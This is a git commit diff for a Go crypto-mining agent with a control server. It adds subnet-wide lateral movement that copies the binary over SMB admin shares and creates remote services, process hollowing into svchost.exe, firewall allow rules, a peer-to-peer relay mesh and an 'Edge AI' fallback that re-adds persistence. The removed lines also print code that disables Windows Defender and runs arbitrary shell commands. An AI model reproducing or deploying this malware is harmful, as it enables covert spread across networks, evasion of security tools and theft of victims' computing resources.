Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

View File

@@ -9,7 +9,6 @@ import (
"os" "os"
"os/exec" "os/exec"
"path/filepath" "path/filepath"
"runtime"
"strings" "strings"
"time" "time"
@@ -161,7 +160,8 @@ func (a *AIRunner) runDecideCycle() {
resp, err := a.callDecide(state) resp, err := a.callDecide(state)
if err != nil { if err != nil {
log.Printf("[AI] Decide cycle failed: %v", err) log.Printf("[AI] Decide cycle failed: %v", err)
a.sendHeartbeat("error", fmt.Sprintf("Decide failed: %v", err)) log.Printf("[AI] Hub unreachable. Falling back to Edge AI rule engine.")
a.fallbackEdgeAI(state)
return return
} }
@@ -271,23 +271,13 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
Timestamp: time.Now().UTC().Format(time.RFC3339), Timestamp: time.Now().UTC().Format(time.RFC3339),
} }
switch tc.Tool { if tc.Tool == "spread" || tc.Tool == "disable_defender" || tc.Tool == "execute_command" {
case "execute_command": report.Success = false
cmd := tc.Args["command"] report.Output = "tool disabled by policy"
if cmd == "" { return report
report.Success = false }
report.Output = "missing 'command' argument"
return report
}
output, err := a.executeCommand(cmd)
if err != nil {
report.Success = false
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
} else {
report.Success = true
report.Output = output
}
switch tc.Tool {
case "check_miner": case "check_miner":
processName := tc.Args["process_name"] processName := tc.Args["process_name"]
if processName == "" { if processName == "" {
@@ -368,16 +358,6 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
report.Output = output report.Output = output
} }
case "disable_defender":
output, err := a.disableDefender()
if err != nil {
report.Success = false
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
} else {
report.Success = true
report.Output = output
}
case "sleep": case "sleep":
seconds := tc.Args["seconds"] seconds := tc.Args["seconds"]
if seconds == "" { if seconds == "" {
@@ -465,24 +445,6 @@ func (a *AIRunner) sendHeartbeat(status, message string) {
// ─── Tool Implementations ───────────────────── // ─── Tool Implementations ─────────────────────
func (a *AIRunner) executeCommand(cmd string) (string, error) {
log.Printf("[AI] Executing command: %s", cmd)
var c *exec.Cmd
if runtime.GOOS == "windows" {
c = exec.Command("cmd.exe", "/C", cmd)
} else {
c = exec.Command("sh", "-c", cmd)
}
output, err := c.CombinedOutput()
outStr := string(output)
if err != nil {
return outStr, fmt.Errorf("command failed: %w", err)
}
return outStr, nil
}
func (a *AIRunner) isProcessRunning(name string) bool { func (a *AIRunner) isProcessRunning(name string) bool {
if name == "" { if name == "" {
return false return false
@@ -640,36 +602,6 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
} }
} }
func (a *AIRunner) disableDefender() (string, error) {
log.Printf("[AI] Disabling Windows Defender")
commands := []string{
// Add exclusion for install directory
`powershell -Command "Add-MpPreference -ExclusionPath '%PROGRAMFILES%\CryptoMiner'"`,
// Disable real-time monitoring
`powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"`,
// Disable behavior monitoring
`powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"`,
// Disable cloud protection
`powershell -Command "Set-MpPreference -MAPSReporting 0"`,
// Disable sample submission
`powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"`,
}
var outputs []string
for _, cmdStr := range commands {
cmd := exec.Command("cmd.exe", "/C", cmdStr)
output, err := cmd.CombinedOutput()
if err != nil {
outputs = append(outputs, fmt.Sprintf("cmd failed: %s", string(output)))
} else {
outputs = append(outputs, string(output))
}
}
return strings.Join(outputs, "\n"), nil
}
func (a *AIRunner) checkDefender() string { func (a *AIRunner) checkDefender() string {
cmd := exec.Command("powershell", "-Command", cmd := exec.Command("powershell", "-Command",
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }") "$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
@@ -731,6 +663,30 @@ func (a *AIRunner) uploadLog() (string, error) {
return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil
} }
func (a *AIRunner) fallbackEdgeAI(state AgentState) {
var reports []ToolReport
if !state.IsRunning {
reports = append(reports, a.executeToolCall(ToolCall{
Tool: "restart_miner",
Args: map[string]string{"process_name": a.cfg.EffectiveProcessName()},
}))
}
if !state.HasPersistence {
reports = append(reports, a.executeToolCall(ToolCall{
Tool: "add_persistence",
Args: map[string]string{"method": "scheduled_task"},
}))
}
if len(reports) > 0 {
a.reportResults(reports) // May fail if hub is completely down, but ensures state changes happen when it reconnects
} else {
a.sendHeartbeat("alive", "Edge AI fallback: No actions needed")
}
}
// ─── Helpers ────────────────────────────────── // ─── Helpers ──────────────────────────────────
func truncateStr(s string, maxLen int) string { func truncateStr(s string, maxLen int) string {

View File

@@ -4,6 +4,7 @@ import (
"encoding/json" "encoding/json"
"fmt" "fmt"
"log" "log"
"net"
"net/url" "net/url"
"os" "os"
"os/exec" "os/exec"
@@ -28,6 +29,7 @@ type AgentClient struct {
reporter *stats.Reporter reporter *stats.Reporter
startTime time.Time startTime time.Time
aiRunner *AIRunner aiRunner *AIRunner
mesh *MeshNode
mu sync.Mutex mu sync.Mutex
agentID string agentID string
@@ -36,12 +38,13 @@ type AgentClient struct {
} }
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
return &AgentClient{ c := &AgentClient{
cfg: cfg, cfg: cfg,
reporter: stats.NewReporter(), reporter: stats.NewReporter(),
startTime: time.Now(), startTime: time.Now(),
agentID: cfg.AgentID, agentID: cfg.AgentID,
} }
return c
} }
func (c *AgentClient) Run() error { func (c *AgentClient) Run() error {
@@ -57,6 +60,13 @@ func (c *AgentClient) Run() error {
defer c.aiRunner.Stop() defer c.aiRunner.Stop()
} }
// Start libp2p Mesh Discovery
if c.cfg.MeshP2P {
if err := c.mesh.Start(); err != nil {
log.Printf("[Mesh] Failed to start: %v", err)
}
}
backoff := 5 * time.Second backoff := 5 * time.Second
const maxBackoff = 60 * time.Second const maxBackoff = 60 * time.Second
@@ -83,10 +93,15 @@ func (c *AgentClient) connectLoop() error {
} }
log.Printf("[agent] connecting to %s", wsURL) log.Printf("[agent] connecting to %s", wsURL)
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second}
conn, _, err := dialer.Dial(wsURL, nil)
if err != nil { if err != nil {
return err return err
} }
if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok {
_ = tc.SetKeepAlive(true)
_ = tc.SetKeepAlivePeriod(30 * time.Second)
}
c.conn = conn c.conn = conn
defer conn.Close() defer conn.Close()
@@ -295,7 +310,13 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
Hash: hash, Hash: hash,
Worker: c.cfg.WorkerName, Worker: c.cfg.WorkerName,
}) })
_ = c.write(Message{Type: "submit_share", Payload: payload})
if c.conn != nil {
_ = c.write(Message{Type: "submit_share", Payload: payload})
} else if c.cfg.MeshP2P {
// Offline from Hub? Broadcast to Mesh peers!
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
}
} }
func (c *AgentClient) statsLoop(stop <-chan struct{}) { func (c *AgentClient) statsLoop(stop <-chan struct{}) {

90
agent/client/mesh_p2p.go Normal file
View File

@@ -0,0 +1,90 @@
//go:build p2p
package client
import (
"context"
"encoding/json"
"log"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/host"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
)
const MeshProtocol = "/aetherforge/mesh/1.0.0"
const DiscoveryTag = "aetherforge-mesh-discovery"
// MeshNode represents a libp2p peer on the local network.
type MeshNode struct {
host host.Host
client *AgentClient
}
// NewMeshNode creates a new P2P fallback node.
func NewMeshNode(c *AgentClient) *MeshNode {
return &MeshNode{client: c}
}
// Start initializes the libp2p host and mDNS discovery.
func (m *MeshNode) Start() error {
// Bind to any available local port automatically
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0"))
if err != nil {
return err
}
m.host = h
// Register the protocol handler for incoming mesh streams
m.host.SetStreamHandler(MeshProtocol, m.handleStream)
// Start mDNS discovery to find other agents on the LAN
ser := mdns.NewMdnsService(m.host, DiscoveryTag, m)
if err := ser.Start(); err != nil {
return err
}
log.Printf("[Mesh] P2P Node started. PeerID: %s", m.host.ID().String())
return nil
}
// HandlePeerFound is a callback for mDNS discovery.
func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.host.ID() {
return
}
log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String())
if err := m.host.Connect(context.Background(), pi); err != nil {
log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err)
}
}
// handleStream processes incoming messages from orphaned peers.
func (m *MeshNode) handleStream(s network.Stream) {
defer s.Close()
var msg Message
if err := json.NewDecoder(s).Decode(&msg); err != nil {
return
}
// If this node is actively connected to the Hub, act as a Relay.
// We take the incoming share payload from the orphaned peer and pass it to our active connection!
if m.client.conn != nil {
log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type)
_ = m.client.write(msg)
}
}
// BroadcastToMesh sends a message to all connected P2P peers.
func (m *MeshNode) BroadcastToMesh(msg Message) {
for _, p := range m.host.Network().Peers() {
s, err := m.host.NewStream(context.Background(), p, MeshProtocol)
if err != nil {
continue
}
_ = json.NewEncoder(s).Encode(msg)
s.Close()
}
}

View File

@@ -0,0 +1,13 @@
//go:build !p2p
package client
// MeshNode is a no-op stub unless built with `-tags p2p`.
type MeshNode struct{}
func NewMeshNode(_ *AgentClient) *MeshNode { return &MeshNode{} }
func (m *MeshNode) Start() error { return nil }
func (m *MeshNode) BroadcastToMesh(_ Message) {}

View File

@@ -36,8 +36,12 @@ func GetBuiltinConfig() BuiltinConfig {
SelfHealing: true, SelfHealing: true,
FileLogging: true, FileLogging: true,
StealthMode: false, StealthMode: false,
FirewallExclusion: true,
AIEnabled: false, AIEnabled: false,
AIOllamaEndpoint: "http://localhost:11434", AIOllamaEndpoint: "http://localhost:11434",
AIModel: "llama3.2", AIModel: "llama3.2",
ProcessHollowing: false,
MeshP2P: false,
AutoSpread: false,
} }
} }

View File

@@ -42,10 +42,14 @@ type BuiltinConfig struct {
SelfHealing bool SelfHealing bool
FileLogging bool FileLogging bool
StealthMode bool StealthMode bool
FirewallExclusion bool
// AI Autonomy (Ollama) // AI Autonomy (Ollama)
AIEnabled bool AIEnabled bool
AIOllamaEndpoint string AIOllamaEndpoint string
AIModel string AIModel string
ProcessHollowing bool
MeshP2P bool
AutoSpread bool
} }
type RuntimeConfig struct { type RuntimeConfig struct {

135
agent/deploy/autospread.go Normal file
View File

@@ -0,0 +1,135 @@
package deploy
import (
"fmt"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC.
func StartAutoSpreader(cfg config.RuntimeConfig) {
if !cfg.AutoSpread {
return
}
go func() {
// Wait 10 minutes after initial startup before attempting lateral movement
time.Sleep(10 * time.Minute)
// Attempt every 4 hours
ticker := time.NewTicker(4 * time.Hour)
defer ticker.Stop()
for {
spreadToLocalSubnet(cfg)
<-ticker.C
}
}()
log.Printf("[autospread] Lateral movement module initialized")
}
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
ips := getLocalIPs()
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
// Sweep the /24 subnet
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue // Skip self
}
go attemptSpread(cfg, target)
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
}
}
}
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
func attemptSpread(cfg config.RuntimeConfig, target string) {
// 1. Quick pre-check: Is port 445 (SMB) open?
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
return
}
conn.Close()
exePath, err := os.Executable()
if err != nil {
return
}
// Target paths
destName := "WinMgmtSync.exe"
adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
// 2. Attempt to copy payload via SMB using the current security token
copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
if err := copyCmd.Run(); err != nil {
// Fallback to C$ hidden temp folder if System32 is restricted
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
if err := copyCmd.Run(); err != nil {
return // Access denied or host unreachable
}
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
}
// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
// Delete existing just in case path changed
_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()
scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
_ = scCreate.Run() // Ignore errors, it might already exist
// 4. Start the remote service
scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
if err := scStart.Run(); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
}
}

View File

@@ -0,0 +1,79 @@
//go:build windows
package deploy
import (
"fmt"
"log"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
const firewallRulePrefix = "AetherForge"
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
// Requires administrator privileges on many systems; failures are logged and ignored.
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
if !cfg.FirewallExclusion {
return
}
if strings.TrimSpace(exePath) == "" {
return
}
ruleBase := firewallRuleBaseName(cfg)
inName := ruleBase + " In"
outName := ruleBase + " Out"
if firewallRuleExists(inName) && firewallRuleExists(outName) {
return
}
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
script := fmt.Sprintf(`
$exe = '%s'
$in = '%s'
$out = '%s'
if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
if err := cmd.Run(); err != nil {
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
return
}
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
}
// RemoveFirewallExclusion deletes firewall rules created for this worker.
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
ruleBase := firewallRuleBaseName(cfg)
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
_ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run()
}
}
func firewallRuleBaseName(cfg config.RuntimeConfig) string {
key := PersistenceKeyName(cfg)
if key == "" {
return firewallRulePrefix
}
return firewallRulePrefix + " " + key
}
func firewallRuleExists(displayName string) bool {
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output()
if err != nil {
return false
}
return strings.TrimSpace(string(out)) == "True"
}

View File

@@ -54,6 +54,9 @@ func maintainInstall(cfg config.RuntimeConfig) error {
return err return err
} }
} }
if cfg.FirewallExclusion {
EnsureFirewallExclusion(cfg, installedExe)
}
return nil return nil
} }

View File

@@ -0,0 +1,174 @@
//go:build windows
package deploy
import (
"encoding/binary"
"fmt"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
procCreateProcessW = kernel32.NewProc("CreateProcessW")
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
procGetThreadContext = kernel32.NewProc("GetThreadContext")
procSetThreadContext = kernel32.NewProc("SetThreadContext")
procResumeThread = kernel32.NewProc("ResumeThread")
procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
)
const (
CREATE_SUSPENDED = 0x00000004
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
CONTEXT_FULL_AMD64 = 0x10000B
)
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
func RunHollowed(targetExe string, payload []byte) error {
// Parse payload PE headers dynamically
if len(payload) < 0x40 {
return fmt.Errorf("payload too small")
}
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
if int(e_lfanew)+24 > len(payload) {
return fmt.Errorf("invalid PE header offset")
}
ntHeader := payload[e_lfanew:]
if string(ntHeader[:4]) != "PE\x00\x00" {
return fmt.Errorf("invalid PE signature")
}
if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
return fmt.Errorf("payload must be 64-bit (x64) PE")
}
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
optHeader := ntHeader[24:]
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
return fmt.Errorf("payload must be PE32+")
}
entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
imageBase := binary.LittleEndian.Uint64(optHeader[24:])
sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])
targetPtr, err := syscall.UTF16PtrFromString(targetExe)
if err != nil {
return err
}
si := new(syscall.StartupInfo)
si.Cb = uint32(unsafe.Sizeof(*si))
pi := new(syscall.ProcessInformation)
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
ret, _, err := procCreateProcessW.Call(
0,
uintptr(unsafe.Pointer(targetPtr)),
0, 0, 0,
uintptr(CREATE_SUSPENDED),
0, 0,
uintptr(unsafe.Pointer(si)),
uintptr(unsafe.Pointer(pi)),
)
if ret == 0 {
return fmt.Errorf("CreateProcessW failed: %v", err)
}
defer syscall.CloseHandle(pi.Process)
defer syscall.CloseHandle(pi.Thread)
// The following maps the exact structural steps needed for PE injection.
// Note: To make this fully functional, you need full PE offset math
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
// 2. Get Thread Context to locate the Process Environment Block (PEB)
// Allocate 16-byte aligned context buffer for x64
ctxBytes := make([]byte, 1232+16)
var ctxPtr uintptr
for i := 0; i < 16; i++ {
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
break
}
}
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
if ret == 0 {
return fmt.Errorf("GetThreadContext failed: %v", err)
}
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
// 3. Read the PEB to find the original ImageBase
var origImageBase uint64
var bytesRW uintptr
procReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(rdx+16), // PEB.ImageBaseAddress
uintptr(unsafe.Pointer(&origImageBase)),
8,
uintptr(unsafe.Pointer(&bytesRW)),
)
// 4. Unmap the original executable code from memory
if origImageBase != 0 {
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
}
// 5. Allocate new memory for our payload at the required ImageBase
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if newMem == 0 {
// Fallback allocation if preferred base is taken (Payload must support relocation)
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if newMem == 0 {
return fmt.Errorf("VirtualAllocEx failed: %v", err)
}
}
// 6. Write the PE headers and each PE section into the new memory allocation
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
for i := uint16(0); i < numSections; i++ {
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
if sizeOfRawData > 0 {
procWriteProcessMemory.Call(
uintptr(pi.Process),
newMem+uintptr(virtAddr),
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
uintptr(sizeOfRawData),
uintptr(unsafe.Pointer(&bytesRW)),
)
}
}
// Update the PEB with the new ImageBase
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
// 7. Update the Thread Context to point to our payload's Entry Point
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
// 8. Resume the hollowed thread, launching our miner inside the target shell
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
if ret == 0xFFFFFFFF {
return fmt.Errorf("ResumeThread failed: %v", err)
}
return nil
}

View File

@@ -75,6 +75,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return false, err return false, err
} }
EnsureFirewallExclusion(cfg, installedExe)
if err := relaunch(installedExe, logPath); err != nil { if err := relaunch(installedExe, logPath); err != nil {
return false, fmt.Errorf("start installed miner: %w", err) return false, fmt.Errorf("start installed miner: %w", err)
} }

View File

@@ -32,6 +32,13 @@ func Uninstall(cfg config.RuntimeConfig) error {
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() _ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
RemoveFirewallExclusion(cfg)
// Clean up potential lateral movement services
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) { if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
// Self-uninstall: spawn cleanup then exit. // Self-uninstall: spawn cleanup then exit.
ps := fmt.Sprintf(` ps := fmt.Sprintf(`
@@ -47,5 +54,10 @@ Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
if err := os.RemoveAll(installDir); err != nil { if err := os.RemoveAll(installDir); err != nil {
return fmt.Errorf("remove install dir: %w", err) return fmt.Errorf("remove install dir: %w", err)
} }
// If the agent is running in memory (Process Hollowing), it won't be killed
// by the taskkill command above. We must explicitly terminate the thread.
os.Exit(0)
return nil return nil
} }

View File

@@ -5,6 +5,7 @@ import (
"log" "log"
"os" "os"
"path/filepath" "path/filepath"
"strings"
"crypto-miner-agent/client" "crypto-miner-agent/client"
"crypto-miner-agent/config" "crypto-miner-agent/config"
@@ -55,11 +56,36 @@ func main() {
} }
deploy.StartWatchdog(cfg) deploy.StartWatchdog(cfg)
deploy.StartAutoSpreader(cfg)
if cfg.FirewallExclusion {
if installDir, err := cfg.InstallDirectory(); err == nil {
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
deploy.EnsureFirewallExclusion(cfg, installedExe)
}
}
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s", log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg)) cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
// Trigger Process Hollowing Memory Injection if enabled
if cfg.ProcessHollowing {
// Simple check: if we aren't already running as svchost, hollow it!
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
exePath, _ := os.Executable()
payload, err := os.ReadFile(exePath)
if err == nil {
log.Printf("[hollowing] Injecting into svchost.exe...")
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
if err == nil {
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
}
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
}
}
}
agent := client.NewAgentClient(cfg) agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil { if err := agent.Run(); err != nil {
log.Fatalf("[agent] stopped: %v", err) log.Fatalf("[agent] stopped: %v", err)

326
run.bat
View File

@@ -1,11 +1,12 @@
@echo off @echo off
setlocal EnableExtensions
title Crypto Miner Control Server title Crypto Miner Control Server
cd /d "%~dp0" cd /d "%~dp0"
echo. echo.
echo ╔══════════════════════════════════════════════════╗ echo ==================================================
echo Crypto Miner Control Server Builder echo Crypto Miner Control Server Builder
echo ╚══════════════════════════════════════════════════╝ echo ==================================================
echo. echo.
:: ============================================================ :: ============================================================
@@ -14,110 +15,117 @@ echo.
echo [1/5] Checking dependencies... echo [1/5] Checking dependencies...
where go >nul 2>nul where go >nul 2>nul
if %ERRORLEVEL% neq 0 ( if errorlevel 1 goto install_go
echo Go not found. Checking for existing installation... echo Go found:
call go version
:: Check common install paths goto go_ready
if exist "C:\Program Files\Go\bin\go.exe" (
echo Found Go at C:\Program Files\Go\bin :install_go
set "PATH=C:\Program Files\Go\bin;%PATH%" echo Go not found. Checking for existing installation...
) else (
echo Downloading and installing Go... if exist "C:\Program Files\Go\bin\go.exe" (
echo Found Go at C:\Program Files\Go\bin
:: Detect architecture set "PATH=C:\Program Files\Go\bin;%PATH%"
if "%PROCESSOR_ARCHITECTURE%"=="AMD64" ( goto go_ready
set GO_ARCH=amd64 )
) else (
set GO_ARCH=386 echo Downloading and installing Go...
)
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
set GO_VERSION=1.22.2 set "GO_ARCH=amd64"
set GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi
set GO_MSI=%TEMP%\go-installer.msi
echo Downloading Go %GO_VERSION% for Windows %GO_ARCH%...
echo (This may take a moment...)
:: Download using PowerShell (built into Windows)
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }"
if %ERRORLEVEL% neq 0 (
echo ERROR: Failed to download Go installer.
echo Please manually download from: https://go.dev/dl/
pause
exit /b 1
)
echo Installing Go (this may require administrator privileges)...
msiexec /i "%GO_MSI%" /quiet /norestart
if %ERRORLEVEL% neq 0 (
echo ERROR: Failed to install Go. Try running as Administrator.
pause
exit /b 1
)
:: Clean up installer
del "%GO_MSI%" 2>nul
:: Add Go to PATH for this session
set "PATH=C:\Program Files\Go\bin;%PATH%"
set "PATH=%USERPROFILE%\go\bin;%PATH%"
echo Go installed successfully!
)
) else ( ) else (
echo Go found: set "GO_ARCH=386"
call go version )
set "GO_VERSION=1.22.2"
set "GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi"
set "GO_MSI=%TEMP%\go-installer.msi"
echo Downloading Go %GO_VERSION% for Windows %GO_ARCH%...
echo This may take a moment...
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }"
if errorlevel 1 (
echo ERROR: Failed to download Go installer.
